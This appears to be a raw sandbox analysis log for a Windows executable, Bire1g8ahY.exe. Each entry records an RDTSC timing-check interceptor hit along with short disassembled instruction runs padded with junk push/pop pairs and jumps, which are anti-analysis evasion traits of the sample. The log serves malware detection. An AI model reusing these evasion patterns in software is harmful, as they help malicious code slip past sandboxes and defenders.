Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BD61E9 second address: BD61FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F943B87Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BD6BCD second address: BD6BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B19Ah 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BD70FD second address: BD7103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B4F989 second address: B4F98D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA44BE second address: BA44DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B889h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA44DC second address: BA44F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4CD6 second address: BA4CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], esi 0x0000000a add dword ptr [ebp+122D1C33h], esi 0x00000010 nop 0x00000011 pushad 0x00000012 push edx 0x00000013 jno 00007F62F943B876h 0x00000019 pop edx 0x0000001a push eax 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4CFE second address: BA4D03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4DDB second address: BA4E17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62F943B884h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62F943B87Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4E17 second address: BA4E4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007F62F8C4B19Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F62F8C4B1A2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4E4C second address: BA4E6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4E6E second address: BA4E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4E72 second address: BA4E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4E76 second address: BA4E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4E7C second address: BA4E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F62F943B876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4F1A second address: BA4F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA4F1E second address: BA4F5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F62F943B880h 0x00000012 jmp 00007F62F943B87Eh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA5079 second address: BA5083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F62F8C4B196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA5083 second address: BA50DE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F62F943B878h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edx, dword ptr [ebp+122D3764h] 0x0000002d push 00000004h 0x0000002f push esi 0x00000030 or dword ptr [ebp+122D300Fh], eax 0x00000036 pop edi 0x00000037 nop 0x00000038 jnl 00007F62F943B884h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jnl 00007F62F943B876h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA50DE second address: BA50E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA50E4 second address: BA50EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F62F943B876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA549D second address: BA54A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA54A1 second address: BA54AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA5931 second address: BA5943 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F62F8C4B19Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA5943 second address: BA5947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA5947 second address: BA59E7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F62F8C4B198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push esi 0x0000000c jmp 00007F62F8C4B1A9h 0x00000011 pop ecx 0x00000012 lea eax, dword ptr [ebp+124902B0h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F62F8C4B198h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D3314h], edx 0x00000038 push eax 0x00000039 jmp 00007F62F8C4B1A2h 0x0000003e mov dword ptr [esp], eax 0x00000041 push edx 0x00000042 movzx edx, dx 0x00000045 pop ecx 0x00000046 lea eax, dword ptr [ebp+1249026Ch] 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007F62F8C4B198h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 00000016h 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 cld 0x00000067 mov edx, dword ptr [ebp+122D1FC0h] 0x0000006d push eax 0x0000006e pushad 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BA59E7 second address: BA59F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDB1AF second address: BDB1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDB1B3 second address: BDB1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDB1B9 second address: BDB1C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDB1C4 second address: BDB1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007F62F943B878h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F62F943B876h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDB5B3 second address: BDB5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDB5B9 second address: BDB5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B882h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F62F943B87Eh 0x00000019 jg 00007F62F943B876h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDF4CC second address: BDF4DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F62F8C4B196h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BDF4DE second address: BDF4E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE504F second address: BE5055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3A20 second address: BE3A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3A24 second address: BE3A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B1A2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F62F8C4B1A4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3A52 second address: BE3A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3A56 second address: BE3A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F62F8C4B19Ah 0x0000000e jl 00007F62F8C4B19Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3BDF second address: BE3BE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3BE4 second address: BE3BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3BEC second address: BE3BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3EE1 second address: BE3EF1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F62F8C4B198h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3EF1 second address: BE3EFB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62F943B882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE3EFB second address: BE3F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE4932 second address: BE4938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE4938 second address: BE493C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE493C second address: BE4940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE4940 second address: BE4946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE6AB7 second address: BE6B12 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F62F943B881h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F62F943B8A0h 0x00000018 jmp 00007F62F943B87Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE6B12 second address: BE6B2A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62F8C4B19Eh 0x00000008 jp 00007F62F8C4B19Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BE9851 second address: BE9855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BECA34 second address: BECA3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BECA3A second address: BECA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BECA40 second address: BECA4A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62F8C4B1A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BECA4A second address: BECA50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B54B51 second address: B54B55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B54B55 second address: B54B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B54B5B second address: B54B82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F62F8C4B1A0h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F62F8C4B19Fh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BEC526 second address: BEC532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F62F943B876h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BEC532 second address: BEC537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF1857 second address: BF185B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B5CFE6 second address: B5CFFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F62F8C4B1A2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B5CFFD second address: B5D003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B5D003 second address: B5D009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B5D009 second address: B5D00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0BEC second address: BF0C1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B1A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F62F8C4B1A9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F10 second address: BF0F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F16 second address: BF0F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F1A second address: BF0F3C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F62F943B888h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F3C second address: BF0F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F42 second address: BF0F67 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F943B876h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F62F943B887h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F67 second address: BF0F77 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F77 second address: BF0F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF0F7B second address: BF0F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF1387 second address: BF1391 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62F943B882h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF1391 second address: BF13D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F62F8C4B196h 0x0000000a jmp 00007F62F8C4B1A2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F62F8C4B1A9h 0x00000019 ja 00007F62F8C4B196h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B6213C second address: B62150 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62F943B87Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: B62150 second address: B62156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF3F3F second address: BF3F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF3F45 second address: BF3F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF4513 second address: BF454E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F62F943B87Ch 0x0000000b jbe 00007F62F943B876h 0x00000011 jmp 00007F62F943B889h 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jnp 00007F62F943B876h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF454E second address: BF4554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BFA3E6 second address: BFA3EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BFA3EC second address: BFA3F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F62F8C4B196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF8CB8 second address: BF8CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F62F943B876h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF8CC7 second address: BF8CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF8CCB second address: BF8CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF8CCF second address: BF8CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF9217 second address: BF921B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe	RDTSC instruction interceptor: First address: BF921B second address: BF9221 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
